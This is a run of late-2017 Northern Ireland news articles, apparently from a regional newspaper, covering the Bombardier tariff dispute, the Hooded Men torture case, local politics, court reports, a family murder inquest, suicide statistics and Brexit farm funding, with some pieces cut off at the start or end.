"The investigations have also left no doubt Bombardier used these government funds to dump aircraft into the US market at absurdly low prices, millions below their cost of production and millions below the price of the same aircraft in Canada. Bombardiers conduct is flatly inconsistent with US trade law, and it has caused severe harm to Boeing, its employees, and its suppliers.

Boeing welcomes competition, but it must be competition on a level playing field. Bombardier can sell their aircraft anywhere in the world, so long as they follow the law and comply with the trade rules we have all agreed to.

A final determination from the Department of Commerce is expected on Tuesday before the International Trade Commission makes its ruling in February. Should both find against Bombardier, the tariff would come into force the a week later.
A legal challenge to the alleged torture of 14 men during internment in Northern Ireland could be set to go directly to the UK's highest court.

A legal challenge to the alleged torture of 14 men during internment in Northern Ireland could be set to go directly to the UK's highest court.

Lawyers involved in the so-called Hooded Men case want permission to "leapfrog" the usual route and bring any appeal straight to the Supreme Court in London.

The application is based on the public interest in ensuring a final outcome for surviving members of the group in proceedings related to their treatment nearly half a century ago.

In October a High Court judge ruled that a police decision to end preliminary inquiries into suspected British Government-sanctioned torture of the men is to be quashed.

Mr Justice Maguire held that research undertaken to establish any criminality around their deep interrogation in 1971 had been too narrow and lacked focus.

But he rejected related claims that the State was in breach of a legal obligation to carry out a full and independent investigation into their treatment - because the events occurred decades before human rights legislation came into force.

The verdict left the Police Service of Northern Ireland facing a fresh process on how to handle allegations of ministerial involvement which emerged in a 2014 television documentary.

Lawyers in the case returned to court this week seeking a certificate that would allow any challenge to the outcome to bypass the Court of Appeal.

Although no appeal has been confirmed, Mr Justice Maguire was told the bid to take a leapfrog appeal to the Supreme Court was agreed by the parties.

Hugh Southey QC, representing most of the surviving Hooded Men, contended: "If ever there was a case where a certificate is appropriate this is that case."

Following submissions judgment was reserved in the application.

Outside court the men's solicitor, Darragh Mackin of KRW Law, stressed the need to secure a final resolution.

He said: "Given the significant and importance of the issues in play, it is our view that this matter should proceed directly to the Supreme Court.

"One of our clients has sadly passed away since this case began. Time is of the essence."

Mr Mackin added: "If there is to be an appeal, it should be expedited to the Supreme Court to ensure justice is done and seen to be done by those it directly affects."

The Hooded Men issued proceedings against the Chief Constable, Secretary of State and the Department of Justice.

During the original case they argued the authorities have failed to comply with duties under the European Convention on Human Rights to properly probe and order a full inquiry into what happened to them while interned at British Army facilities in Ballykelly, Co Derry.

Amid claims the men's treatment was sanctioned by the State, the court heard former British Prime Minister Edward Heath was involved in the decision making process.

Stormont's Prime Minister at the time, Brian Faulkner, was also personally briefed on the deployment of the techniques, according to their case.

Five techniques were used against the men while they were held without trial: being hooded, made to stand spread-eagled in a stress position against a wall and beaten if they fell; forced to listen to constant loud static noise; and deprived of sleep, food and water.

RUC Special Branch officers were were said to have been taught the methods by soldiers but sought assurances of immunity from prosecution before carrying them out.

In a statement one of the group recalled collapsing and being punched in the stomach to revive him.

He said he was against the wall for three days, subjected to kicks or beatings every time he dropped to the ground or fell asleep.

The court was told he suffered hallucinations and prayed for death.

It was claimed that the group's treatment during the British Government's internment programme in Northern Ireland was on the scale of a war crime.

Another of those allegedly tortured was bitten by a soldier's dog and had to drink from the animal's dish, according to legal representatives.

School caretaker Sean McKenna was also slammed into concrete posts and made to go barefoot after being taken from his Newry home in August 1971, it was claimed.

Lawyers for his daughter argued that the interrogation techniques "ruined" him and worsened a heart condition which led his death four years later at the age of 45.

Mary McKenna's legal challenge was heard alongside that brought by the other surviving members of the Hooded Men.

She was 14-years-old when her father and brother were both taken from their house by British soldiers.

His internment ended in May 1972, when he was released on medical grounds to enter a psychiatric hospital.

But the impact of being subjected to the five techniques caused his psychiatric break-down, according to his daughter.

Counsel for the Government and Chief Constable countered that the 1998 Human Rights Act, which came into force in 2000, has no retrospective powers.

He also insisted that a former British government minister who alleged predecessors had authorised torture in Northern Ireland later corrected his assessment.

The claim made by Merlyn Rees in a newly discovered memo was central to the case.

In 1977 Mr Rees, then Home Secretary, sent a letter to Prime Minister James Callaghan setting out his views on procedures deployed against the men, the court heard.

In the memo he states it was his view that "the decision to use methods of torture in Northern Ireland in 1971/72 was taken by ministers - in particular Lord Carrington, then Secretary of State for Defence".

The document, uncovered from the National Archives in London, featured in an RTE documentary in 2014 and led to questions being raised at the Northern Ireland Policing Board.

But it was argued that within weeks Mr Rees' assessment of the men's treatment was "modified" to having faced deep interrogation
Festive shoppers hoping for a last-minute Christmas tree bargain were left frustrated after a Northern Ireland store's entire stock of 5,000 spruces sold out in just 10 days.

Ikea Belfast's Christmas tree offer saw the store shift an average of 500 trees per day - a 25% increase on last year.

The deal, which had been due to run until December 23, saw Ikea branch out by giving their customers a 20 voucher whenever they bought a 25 tree - effectively putting the festive firs on the market for just 5.

The Holywood Exchange store began selling trees five years ago, and sold 1,000 more trees over the course of this year's festive season than in 2016.

The trees were sourced from Scotland and the 20 voucher must be used between February 5, 2018 and April 2, 2018.

Ikea Belfast store manager Christie Gregg said the firm had been "completely overwhelmed by the phenomenal response" after the trees sold out more than three weeks before Christmas Day.

"All of our co-workers really look forward to the annual Christmas tree rush as we manage the sales entirely in-house," she added. "For us, it's a chance to embrace the festive season and enjoy this special time with customers and give them advice as they search for the perfect Christmas tree."

However, not all shoppers were lucky enough to get their hands on the offer, with one bargain hunter shocked when he found all the trees had sold out last week.

"It's a great offer and I went to Ikea on Wednesday hoping to get myself a real Christmas tree at a knockdown price, but they had already gone," he told the Belfast Telegraph.

"The offer means you're only really paying 5 for the tree and you have a 20 voucher to spend in the new year.

"It is a loss leader for them, but it encourages people to go into the store during a slow period after the January sales, so it's also a shrewd move."

When the Belfast store first began selling trees in 2012, 2,000 were sold, meaning that more than double the number of firs are now being snapped up.

Home decoration and outdoor sales leader from IKEA UK and Ireland, Marcos Tejedor said: "There is something quite special about a fresh, real Christmas tree.

"The scent of pine needles through the home is one of our favourite Christmas fragrances, lifting everyone's spirits during the festive season.

"At Ikea, we believe that people shouldn't have to fork out a small fortune on their tree," the sales leader added.

"We're also proud to be supporting local suppliers, with all our trees being sourced from around the UK."

B&Q declined to reveal their sales figures for Christmas trees and said that they had a 15 real tree deal.

A Homebase representative said that they did not have any sales data for real trees, but the company had a 5 real tree home delivery offer.
The Republic's foreign minister has been told to show more respect for the constitutional status of Northern Ireland.

It comes after Simon Coveney suggested that ministers in London and Dublin could make decisions on Northern Ireland if Stormont cannot be restored.

But DUP MP Gregory Campbell branded the new Tanaiste's comments "unhelpful" and "clumsy". He said: "For the Republic of Ireland's foreign minister to suggest some role for his government in the internal affairs of Northern Ireland ignores the constitutional reality.

"If Simon Coveney is so clumsy with diplomacy relating to his nearest neighbour, one wonders how he handles diplomatic matters in countries with which he is even less familiar."

During an RTE interview on Sunday, Mr Coveney said the absence of a power-sharing Executive was part of the problem of Brexit. He added: "Then there is the prospect of a whole series of other choices - from another election, to the triggering of Intergovernmental Conferences to make decisions on Northern Ireland.

"That is not where we want to be. That will cause tension. It will be a very frosty environment to make decisions in... so we all have a responsibility, in a practical sense, to find a way forward."

Ulster Unionist leader Robin Swann said Mr Coveney's comments "undermine the basis of the Belfast Agreement".

He said: "There is nowhere in the Belfast Agreement that permits joint authority or joint stewardship. As much as he and others may wish it to be different, it is simply not catered for. There is no joint authority now and there can't be in the future."

SDLP leader Colum Eastwood said "joint stewardship ... is not a new idea, nor is it an unreasonable idea".

He said restoring Stormont was the best option, but "if the DUP and Sinn Fein continue to fail to show leadership and deliver an agreement, political decisions will need to be made to protect our people and our public services".
A residential care worker was so drunk on the job that when she struck a "vulnerable" resident she had no memory of what happened, a court heard.

Caroline McMullan was working at supported accommodation when she hit a female "service user", Coleraine Magistrates Court was told yesterday.

McMullan (52), of Ramoan Court, Ballycastle, Co Antrim, appeared in the dock and admitted a charge of common assault on November 19 this year.

On the same date she assaulted a police officer who was called to the scene. McMullan also pleaded guilty to that charge.

A prosecutor said police were called to premises in Ballymoney after a report of an assault "on a vulnerable female resident", adding that a witness said an "intoxicated co-worker" had struck the victim, who was sobbing and "highly distressed".

McMullan had to be handcuffed by police who took her to Coleraine PSNI Station.

A defence solicitor said the assault on the resident involved "three back-handed connections to a thigh" and said no injury was caused and that McMullan later kicked a police officer.

He said his client had a previously clear record but "for reasons unbeknown to herself she decided to drink while working".

The lawyer said the defendant had been working long shifts.

The solicitor said McMullan had been sitting beside a service user when the incident happened and added: "There were no injuries. It was more of an admonishment as opposed to a physical assault."

He added his client "had no memory whatsoever" of the incident, but was pleading guilty.

District Judge Liam McNally imposed a two year conditional discharge on the defendant and ordered her to pay 75 compensation to both assault victims.
The DUP has called for the disclosures of political donations to Northern Ireland parties to go further and to include funds received from overseas.

However, MP Sammy Wilson rejected there was a need for the disclosures to be backdated to 2014 saying those that had donated up until July this year had done so based on the assumption their names would be kept secret.

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The names of political donors in Northern Ireland have long been kept confidential due to security concerns during the Troubles.

The Government is now pushing ahead with legislation that would see the names of individuals or organisations who donate more than 7,500 to political parties after July 1 2017 being made public. For donations to politicians that figure is 1,500.

During a Westminster committee hearing on Tuesday an amendment to backdate the disclosure to July 2014 was narrowly defeated. The bill to publish the donations will go before the Lords in January with the details expected to be published soon after.

However, following the committee hearing Sammy Wilson took a swipe at Sinn Fein, saying its foreign donations should be a matter of public record in the UK.

"The DUP supports the move towards transparency of political donations in Northern Ireland. We support the proposals brought forward by the government, but they do not go far enough," he said.

"Some people are claiming that the provisions will bring Northern Ireland into line with the rest of the United Kingdom. This is simply untrue. In order to accommodate Sinn Fein there will still remain the ability for parties in Northern Ireland to receive foreign donations. This is a provision which does not apply anywhere else in the United Kingdom and will only benefit one political party.

"We have already had meetings with the Minister to demand that, any follow-up to this bill must extend to barring foreign donations in Northern Ireland."

Sinn Fein, however, said its donations from America and over $50 were on record with the US Department of Justice and which had been reported "extensively" in Britain and Ireland, the party said.

It also said if the DUP was "serious about transparency" it would disclose the "facts" surrounding the the 435,000 donation to the DUP during the 2016 referendum campaign.

"If the DUP were sincere about transparency they should press their Tory colleagues to back date the publication of donations to January 2014 or put the facts about the Dark Money into the public domain," the party said.

However, responding to the Labour Shadow Secretary of State Owen Smith who described the donation as "shady", Sammy Wilson noted the Electoral Commission was satisfied with the credentials of the Constitutional Research Council, which made the donation, and with the details provided about the donation by the DUP.

The East Antrim MP added: "I find it difficult to see how he describes this money as shady when all of the obligations required under the law were met."
Northern Irish-born poet Paul Muldoon has been named the winner of the Queen's Gold Medal for Poetry 2017.

Muldoon has produced 12 major collections of poetry as well as children's books and song lyrics.

Poet Laureate Dame Carol Ann Duffy said: "Paul Muldoon is widely acclaimed as the most original and influential poet of the past 50 years and is rightly celebrated alongside Seamus Heaney.

"His poetry displays a restless playful brilliance, forever searching for new ways to channel his ideas and new language to dress them in."

Muldoon was born in Portadown in Co Armagh in 1951 and published his first poetry collection in 1973.

In 1981 he became a Fellow of the Royal Society of Literature.

He has lived chiefly in the United States for the last 30 years, teaching at Princeton University and more recently editing poetry for The New Yorker magazine, before giving that up earlier this year.

Dame Carol Ann added: "He is ambitious, erudite, witty and musical. He can experiment with form and stand tradition on its head, craft a tender elegy or intimate love poem with equal skill.

"His work is of major significance internationally - poetry of clarity, invention, purpose and importance which has raised the bar of what's possible in poetry to new heights."

Muldoon is the youngest of a famous group of poets from Northern Ireland, including Seamus Heaney and Michael Longley, centred around Queen's University in Belfast, who gained prominence in the 1970s.

He delivered a tribute to Heaney at the Nobel Prize winner's 2013 funeral in Dublin.

Muldoon will be presented with his medal by the Queen in 2018.
The Giant's Causeway has become the first Northern Ireland tourist attraction to hit 1 million visitors.

The National Trust site has seen numbers increase by a third since 2013, with 70% of visitors drawn in from overseas.

The North Coast region, along with Belfast, was recently hailed as the top region in the world to visit in 2018 by Lonely Planet.

By comparison, Titanic Belfast - which opened in 2012 - has welcomed 717,585 visitors through its doors to date in 2017.

Northern Ireland's first UNESCO World Heritage site was also named the best UK heritage attraction at the British Travel Awards for the third consecutive time earlier this month.

Heather McLachlan, director of the National Trust Northern Ireland said: "At the National Trust we are committed to delivering a responsible and sustainable tourism offering that minimises social, economic and environmental impacts whilst generating greater economic benefits for local people and enhancing the wellbeing of the local community.

"Situated between the famous Walled City of Derry and Titanic Port of Belfast, the Giants Causeway offers visitors the opportunity to marvel at this area of outstanding beauty whilst unlocking the stories of the stunning rock formation."

Aubrey Irwin, head of Northern Ireland at Tourism Ireland (the government body that works to promote tourism on both sides of the border) said it was a "remarkable achievement" and a "testament to the hard work of the National Trust and Giants Causeway staff".

"Overseas visitors regularly tell us that their holiday in Northern Ireland has surpassed their expectations and a visit to Giants Causeway is certainly a must see now on everyones itinerary," she said.
A man has been arrested in Rosslea in connection with paramilitary activity.

Officers from the Paramilitary Crime Taskforce conducted a number of searches in the County Fermanagh village on Monday 18, seizing a large quantity of excise goods and arresting a 49-year-old man.

He was interviewed and bailed with investigations continuing.

During a follow up house search in west Belfast around 4,000 in cash, documents and computers were seized.

Steve Tracey, Assistant Director, Fraud Investigation Service, HMRC, said: "Working together in partnership with other enforcement colleagues we can target the criminal gangs who are stealing from the taxpayer, robbing public services and undermining legitimate, honest traders."
US President Donald Trump through his first National Security Strategy has asked Pakistan to take "decisive action" against terrorist groups operating from its soil. President Trump said that his new strategy puts "America First'.

By PTI: US President Donald Trump has released his first National Security Strategy (NSS), mandated by the Congress, through which he has asked Pakistan to take "decisive action" against terrorist groups operating from its soil.

Donald Trump has said that his new national security strategy puts "America First."

"We have made clear to Pakistan that while we desire continued partnership, we must see decisive action against terrorist groups operating on their territory. And we make massive payments every year to Pakistan. They have to help," Trump said in his remarks as he announced his NSS.

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The NSS has revealed that the United States will also continue to partner with Afghanistan to promote peace and security in the region.

According to the National Security Strategy, the US seeks a Pakistan, that is not engaged in destabilising behavior and a stable and self-reliant Afghanistan.

"We will press Pakistan to intensify its counter-terrorism efforts, since no partnership can survive a country's support for militants and terrorists who target a partners own service members and officials," it said.

As the US continues to face threats from transnational terrorists and militants operating from within Pakistan, the NSS said the prospect for an Indo-Pakistani military conflict that could lead to a nuclear exchange remains a key concern requiring consistent diplomatic attention.

The Trump Administration has been talking tough with Pakistan after it came to power, but has stopped short of taking any action against it even though the Pakistani leadership have shown reluctance in taking decisive actions against terrorist groups.

On November 25, the White House asked Pakistan to immediately re-arrest and prosecute Hafiz Saeed, leader of Lashkar-e-Taiba.

"If Pakistan does not take action to lawfully detain Saeed and charge him for his crimes, its inaction will have repercussions for bilateral relations and for Pakistan's global reputation," the White House Press Secretary Sarah Sanders had said.

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Delegates sing as Cyril Ramaphosa is elected leader of the ANC yesterday

South Africa's ruling African National Congress (ANC) has elected Cyril Ramaphosa - one of two men who inspected IRA arms at a key moment in Northern Ireland's peace process - as its new president.

It means the nation's deputy president is likely to become its next leader.

Ex-ANC secretary-general Mr Ramaphosa and former Finnish President Martti Ahtisaari reported in 2000 that they had secretly inspected IRA arms dumps.

Outgoing president Jacob Zuma's second and final term as party leader has ended after a scandal-ridden tenure that has seen the popularity of Nelson Mandela's liberation movement plummet.

Despite being part of Mr Zuma's administration, the 65-year-old Mr Ramaphosa has styled himself in recent months as a reformer who will steer South Africa away from the corruption scandals that have hurt the economy and briefly sent it into recession this year.

One of South Africa's richest businessmen, Mr Ramaphosa is a veteran of the struggle to end the country's former apartheid system of white minority rule and helped negotiate the transition to democracy.

He turned his connections as a former union leader into business ventures which at times have proven controversial. Many South Africans remember that Mr Ramaphosa was a board member of the Lonmin mining group at the time of the Marikana killings in 2012, when police shot dead 34 striking mine workers.

Mr Zuma's term as South Africa's head of state ends in 2019.

It is not clear if Mr Ramaphosa, as the ANC's new leader, will call on Mr Zuma to resign as the country's president, which the party has the authority to do.

Mr Ramaphosa and Mr Ahtisaari played an important part in the Northern Ireland peace process at a time when it was unravelling over the issue of IRA arms.

When they announced in June 2000 that IRA arms dumps had been inspected and secured, the move was welcomed by Tony Blair and Gerry Adams as representing progress. The UUP also welcomed the move, saying it vindicated David Trimble's decision to re-enter Stormont after republicans committed themselves to putting arms beyond use. However, the DUP dismissed it as a gimmick.

The two weapons inspectors said at the time that they believed "this is a genuine effort by the IRA to advance the peace process".
Last year 297 people here took their own lives, according to a report by the Office for National Statistics (stock image)

Northern Ireland has the highest rate of suicide in the UK, official figures show.

Last year 297 people here took their own lives, according to a report by the Office for National Statistics.

Although UK rates show a fall in cases, there has been a rise in the suicide rates for Northern Irish and Scottish females, yesterday's bulletin said.

The 5,965 suicides registered in 2016 in the UK comprised 4,508 men and 1,457 women.

In Northern Ireland a total of 221 men and 76 women committed suicide in 2016 - the youngest was a male aged under 15.

Proportionately, our total was the highest in the UK.

The report said: "In Northern Ireland, we have observed a small decrease in the suicide rate for males and a small increase for females from 2015 to 2016."

In 2015 the highest number of victims in 10 years was recorded, amounting to 318 deaths.

Men in north Belfast, aged between 30 to 34, are most at risk with the area the worst affected since 2013, separate figures show.

SDLP MLA for north Belfast Nichola Mallon said: "So many lives have been lost and so many families left devastated by suicide in north Belfast.

"Christmas for many people is a joyous time but for others it can be a very difficult and dark time.

"It's so important that people know there is help available.

"There are people who can listen and help.

"It's okay to not be okay and above all else you are not alone."

Despite our high suicide rate, Northern Ireland receives 25% less funding for mental health services than the rest of the UK.

Claire Curran has been affected by suicide and now volunteers with the support group Survivors of Suicide in east Belfast.

She said the pain of loss is very difficult and has urged people to seek help.

"When people die from suicide it is a worse form of bereavement in a way because there is nowhere to put the blame," she said.

"It's different if the cause was cancer or a road accident, old age or even murder because there is something or someone to place the blame on.

"But with suicide there is often no reason and it was the person themselves who was responsible.

"Those left go through the stages of grief of anger and denial. You don't want to feel happy but you then feel guilty because that person is no longer here.

"You find ways to cope - new ways of normal.

"There is still a stigma about suicide, it needs to be talked about more."

Amanda O'Neill from the Public Health Authority in Northern Ireland said Christmas can create extra stress and feelings of loneliness.

She urged people to see family and friends to prevent isolation and avoid excessive alcohol and do more exercise if possible.

"Many of us will be looking forward to Christmas when we can spend more time with our family and friends," Ms O'Neill said.

"It is important to look out for behaviour that could indicate that someone is under pressure and really needs help.

"If you are worried about someone, start a conversation with them and talk to them about your concerns.

"Ask them how they are feeling and if there is anything you can do to help them."

If you or someone you know is in distress or despair, call Lifeline on 0808 808 8000. The helpline is available 24 hours a day, seven days a week. You can also access the Lifeline website at www.lifelinehelpline.info
It was the trip of a lifetime to the most magical place.

Twenty six children from Northern Ireland suffering from cancer got the opportunity to visit Disneyland Paris just before Christmas.

The children are currently receiving treatment at the Royal Belfast Hospital for Sick Children.

And to make the trip extra special they even got to have breakfast with some of their favourite characters.

The group, along with medical staff, had the time of their lives on the trip organised by the Children's Cancer Unit Charity.

Chris Canning from Moira was there with his son Toby (5) who suffers from Acute Lymphoblastic Leukamia (ALL) which he was diagnosed with in 2015.

The family said due to their son's condition it's hard for them to get away on holiday - but knowing the medical staff were there meant they could relax and have some precious family time.

Little Toby was over the moon when he found out and was awake the entire day from 4am when they set off on the journey

He travelled with his dad, mum Emma and big brother Charlie (7).

Chris told the Belfast Telegraph: His favourite character is Mickey Mouse and Donald Duck or Farmer Donald as he says. He was very excited.

We walked around the Disney Village and tried to go onto as many rides as we could. We had a character breakfast and had breakfast with Eeyore, Mickey and Farmer Donald.

He couldnt believe it that he was having breakfast and talking to these characters, its something you dont get to do too often.

Chris paid tribute to the medical staff who were on the trip with them.

He said: With Toby being on treatment (going on holiday) was something we havent been able to do at all - because there is no insurance for us to travel and enjoy family time like that.

Its much easier and it was a real comfort to us knowing that Dr McCarthy and the nurses were with us if we ever did need them.

"We felt comfortable, safe and we could enjoy some precious family time.

Where else would you want to do it?"

Recently Toby visited Santa at Belfast's Christmas market and proceeds from Santa's Grotto this year are going to the Children's Cancer Unit Charity.

Chris said his list for Santa consists of three main things, an iPad, a metal detector and a mirror so he could watch his hair grow back and get it gelled up and spiked like his brother.

Chris said: He lost it for the third time his hair fell out in August its coming back but he wants to get the gel on and wants a mirror to see his hair grow back.

Tobys end of treatment date is April next year. We are on standard maintenance at the minute.

He is an inspiration to us all - a very brave young fella.

"What other five-year-old will stay awake from four in the morning to ten at night. It was incredible, non-stop, there was always something to laugh or smile about."

Another special moment on the trip came for the adults when they were able to relax and chat - outside of the hospital.

Chris said: "We have never experienced that before. That was one of the blessings of the trip - that we had some good time with other families in the same situation as us - but in a different setting.

No-one talked about treatment, no-one talked about cancer. It was what did you go on what are you doing next - it was just really good fun.

He added: A big thank you to the charity and sponsors just for giving us that opportunity.

Another family on the trip was dad Daniel Cushnan who was there with his 8-year-old son Donncha.

The little boy from Mayobridge was diagnosed six years ago with ALL and relapsed 2 years ago.

He had a bone marrow transplant two years ago.

Daniel said: Hes doing great. Hes back to school and running about. Enjoying the play time but not necessarily the work - just a normal wee boy."

Donncha was so excited leading up to the trip that he couldn't sleep.

He said: We were up at 4.30am on the Wednesday morning and we thought he'd sleep the whole way to Dublin but he slept a bit and was awake half an hour later and was up then 10 or 11 that night."

Donncha loved meeting Mickey Mouse and getting on all the rides in Disneyland.

"Im not a great person for roller coasters or anything like that and he likes to scare me on them because he knows I'll get on to them with him. Hell say come on this ones dead slow, Daniel laughed.

"The roller-coasters were his favourite and anything that scared me.

Daniel said for him it was nice to be able to see the children playing outside of a hospital setting.

It was great to see them enjoying themselves playing outside of a hospital. It was good to see them not in that environment and to get away and really enjoy themselves."

Daniel said it was good for the parents too.

"We had a chat and it was relaxed, you talked abut different things. You could hear them having chats among each other saying 'that happened to us' and settling some fears.

"It was great to see the doctor and nurses out, we are past that stage where we are relying on the doctor and nurses, but for other families that were there, it was definitely reassuring for them having Dr McCarthy there and available if they were needed."

Jacqueline Wilkinson from the Children's Cancer Unit Charity said: "There was a lot of planning involved in the trip and we received fantastic support from our corporate partners. All the effort was worthwhile and to see the smiles on the faces of the children and their parents and families, made it all worthwhile."
Delays which could leave legal action over intelligence gathered in the Omagh bombing unresolved until 2019 will not be tolerated, a High Court judge has warned.

Mr Justice McCloskey also told lawyers that plans put in place to speed up a wider catalogue of so-called legacy litigation are being jeopardised by requests for more time.

He said: "All of a sudden it's started to fall apart."

The judge, who is overseeing more than 40 judicial reviews into incidents from Northern Ireland's troubled past, made the comments as he urged parties to speed up in the Omagh atrocity case.

Michael Gallagher, whose son Aiden was among 29 people killed by the Real IRA bombers, is challenging former Northern Ireland Secretary of State Theresa Villiers' refusal to hold a public inquiry into the August 1998 attack.

The case centres on claims that a range of intelligence from British security agents, MI5 and RUC officers could have been drawn together to prevent the outrage.

Mr Gallagher launched his legal action after Ms Villiers rejected calls for a public investigation in September 2013.

She decided instead that a probe by Police Ombudsman Michael Maguire was the best way to address any outstanding issues surrounding the atrocity.

In October 2014 Dr Maguire published a report where he found RUC Special Branch withheld some intelligence information from detectives hunting the bombers.

No one has ever been convicted of carrying out the attack.

Proceedings have been caught up in arguments over holding partially closed hearings amid fears the disclosure of sensitive material could damage national security.

As a fresh update was provided to the court, the judge pointed out that it was now two months into a "new phase" aimed at dealing with 10 of the 40 legacy-related judicial reviews by the end of next June.

"Arrangements have been made, judicial calendars have been prepared, judges schedules have been adjusted and deputy judges have been booked," he stressed.

"All of a sudden it's started to fall apart - it's falling apart in this case (and) it's not looking promising at all in some of the other cases where extensive extensions of time have very recently been requested on behalf of the respondents.

"The court is finding itself in an increasingly difficult and invidious position."

He noted that most of the cases commenced in either 2014 or 2015, with some dating back to 2013.

"All of this is antithetical to the overriding objective and to the principle which seems to have lost somewhere along the way that judicial review provides swift, practical and expeditious justice," Mr Justice McCloskey added.

"Everyone is being exhorted to do better. This is simply not good enough and I'm not prepared to sanction a further period of six months delay from today, which simply brings us to having a contentious discovery application I'm told will take three days.

"This scenario, the more one examines it, is pushing finality in this case back into the year 2019 and that is completely unacceptable.

"The message has got to be broadcast that this kind of lack of progress is just not tolerable."
Coffins are taken into St Marys Church in Castlerahan, Co Cavan, where the funeral of the Hawe family took place

Harrowing evidence from the inquests into the deaths of five members of a Co Cavan family suggested that all but the youngest boy struggled to defend themselves from their father.

On August 29 last year assistant school principal Alan Hawe (40) killed his wife Clodagh (39) with a knife and a hatchet, and then stabbed their sons Liam (13), Niall (11) and Ryan (6) in their home at Oakdene Downs in Ballyjamesduff.

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Yesterday's inquest heard that he took measures to silence the young boys as he killed them.

The knife that he used was found lying on the pillow above little Ryan's head.

He then laid out letters and documents on the kitchen table, put a note on the back door telling whoever arrived next not to come in, but to call gardai instead, and took his own life in the house.

Members of Clodagh's family cried openly and held each other as the cold and inexplicable facts of the atrocity were recorded at Cavan Coroner's Court.

Deputy State Pathologist Michael Curtis told Cavan coroner Dr Mary Flanagan the conclusions of the post mortem examinations he carried out on the five members of the family.

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Whatsapp Clodagh Hawe with her sons Liam (13), Niall (11) and Ryan (6)

He said Clodagh Hawe suffered severe wounds to her head, throat and neck.

Dr Curtis said a wound to her right hand had fractured some small bones, and suggested that she may have been holding her hand on her head in a defensive action when she was struck.

"Death ensued rapidly," said Dr Curtis, adding that toxicology tests showed no presence of alcohol or drugs in Clodagh's system.

Liam Hawe, the eldest child, died from a stab wound.

An injury to his left arm and hand indicated he may have been defending himself as his father killed him.

Dr Curtis said death ensued rapidly, and that death was as a result of a stab wound to the neck.

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Whatsapp Coffins are taken into St Marys Church in Castlerahan, Co Cavan, where the funeral of the Hawe family took place

Niall was killed in the same room, also by a stab wound.

Injuries to the middle finger of his right hand indicated that Niall also may have tried to defend himself as his father killed him.

Again, Dr Curtis said death would have occurred rapidly.

The pathologist then moved on to deal with the death of the youngest boy, six-year-old Ryan.

He said the wound to the child's neck that killed him was different to those that killed his older brothers. There were no wounds to indicate that little Ryan tried or was able to defend himself.

Clodagh's sister Jacqueline and mother Mary became audibly emotional and struggled to comfort each other at this point.

Coroner Mary Flanagan asked Dr Curtis if there was any evidence that the manner in which the injuries that were inflicted may have been deliberate, in that they rendered the victims silent.

"I find it very difficult to believe it is coincidental ... they were unable to make sounds," said Dr Curtis, adding that it was difficult to be certain in the circumstances.

Alan Hawe was sober when he murdered his family and killed himself.

Dr Curtis said there was no sign of assault or restraint on Alan Hawe's body, and his blood and urine tested negative for drugs and alcohol.

Coroner Dr Flanagan asked Dr Curtis if there was any indication of the sequence in which Alan Hawe had killed his wife and children. "It is impossible to say with certainty, but by dispatching Clodagh and the older boy first it would make a physical challenge less likely," he responded.

Dr Flanagan adjourned the hearing following Dr Curtis's evidence.

"I think we have heard enough evidence for one day," she said.

A legal representative for the Hawe family said that none of Alan's family had attended the inquest, and he would be making a statement in connection with the family at today's hearing.

Today's hearing is expected to hear from Alan Hawe's doctor, his counsellor, and a professor from the Central Mental Hospital, Dublin.

If you or someone you know is in distress or despair, call Lifeline on 0808 808 8000. This is a confidential service, where trained counsellors will listen and help immediately on the phone and follow up with other support if necessary
Queen Elizabeth II and Prince Philip, Duke of Edinburgh, have an audience with Pope Francis, during their one-day visit to Rome on April 3, 2014 in Vatican City, Vatican. (Photo by Oli Scarff/Getty Images)

The Pope and the Queen will visit Northern Ireland together next year, it has been reported.

Pope Francis is expected to visit the Republic in August for the 2018 World Meeting of Families.

The 80-year-old is due to say mass in Phoenix Park during his visit. It is said his trip is expected to cost around 20m.

According to Q Radio, the Pope will travel north of the border and be joined by the Queen.

The Northern Ireland radio station stated that plans for the joint visit are being worked on.

The location has not yet been revealed.
Sinn Fein has warned the axing of the EU's Common Agricultural Policy could "plunge over 20,000 families into poverty" in Northern Ireland.

Sinn Fein's spokesman on rural affairs Declan McAleer said the axing of pillar 1 payments - which provide direct income support to farmers - would put Northern Ireland's ability to produce "high standard and affordable food" at "grave risk".

It comes in response to comments made by Prime Minister Theresa May in the House of Commons on Monday.

Speaking during a debate on the European Council, the Prime Minister was responding to questions from the leader of the Labour party Jeremy Corbyn focused on the date Britain will leave the European Union.

"We will be leaving the European Union on 29 March 2019, and we will therefore be leaving the common fisheries policy and the common agricultural policy on that date," said Mrs May.

"The relationship that we have with the European Union on both those issues continuing through the implementation period will be part of the negotiation of that period, and work will start very soon."

She added that the arrangements for fisheries policy will be part of the negotiations for the implementation period, and that: "Leaving the CFP and the CAP gives us the opportunity, post-implementation period, to introduce arrangements that work for the United Kingdom."

She also said Environment Secretary Michael Gove is in discussions with the fishing and agriculture industries about what those future arrangements should look like.

Risk for farmers in Northern Ireland

"The ending of CAP support would devastate farm and rural communities in the north. Farmers anxiously await their payment in December and when received it goes straight into the local shops and farm merchants. The knock-on effect for the local economy would be huge," Mr McAleer said.

"In terms of the Rural Development Programme (RDP) a move away from the CAP Pillar 2 support would have major repercussions for farm business improvement measures, environmental schemes and broader schemes to support the economic and social development of rural communities."

Pillar 2 payments are co-financed by member state governments and focus on rural development, with the EU-defined purposes of:

Fostering the competitiveness of agriculture

Ensuring the sustainable management of natural resources

Combating climate change

Achieving a balanced territorial development of rural economies and communities including the creation and maintenance of employment

Between 2014 and 2020 the EU will contribute more than 95 billion to member states under this strand of payments.

"The comments from Theresa May unfortunately are an echo of what Michael Gove and the Brexiteers having been saying for many months and should serve as a wake up call for their Brexit cheer leaders here in the north," Mr McAleer added.

DUP MEP Diane Dodds described the claim by Mr McAleer as "another fake news story propagated by Sinn Fein, which plays to fears and has no basis in reality".

"The DUP dealt swiftly and substantively with the issue of future farm support as part of our confidence and supply agreement with the Government," she said.

The relevant section of the confident and supply agreement states: 'The parties agree to continue to commit the same cash total in funds for farm support until the end of the Parliament. Further discussions will take place on the future framework for farming support.'

"This gives certainty and clarity to local farm businesses in direct contrast to the well documented 3 billion black hole that will be encountered by EU farmers after the United Kingdom exit," Mrs Dodds added.
Unless Stormont ministers return in the new year, Secretary of State James Brokenshire will have to impose an annual budget from Westminster

Northern Ireland's public services face a bleak future, according to a budget forecast from senior civil servants.

In an unusual move the Department of Finance published a briefing paper yesterday on Northern Ireland's financial outlook for 2018-20.

Hugh Widdis, the Department of Finance permanent secretary, listed three possible scenarios in which health and education spending was ring-fenced. They are:

Most departments sustaining a 4% cut for 2018/19 and 8% for 2019/20.

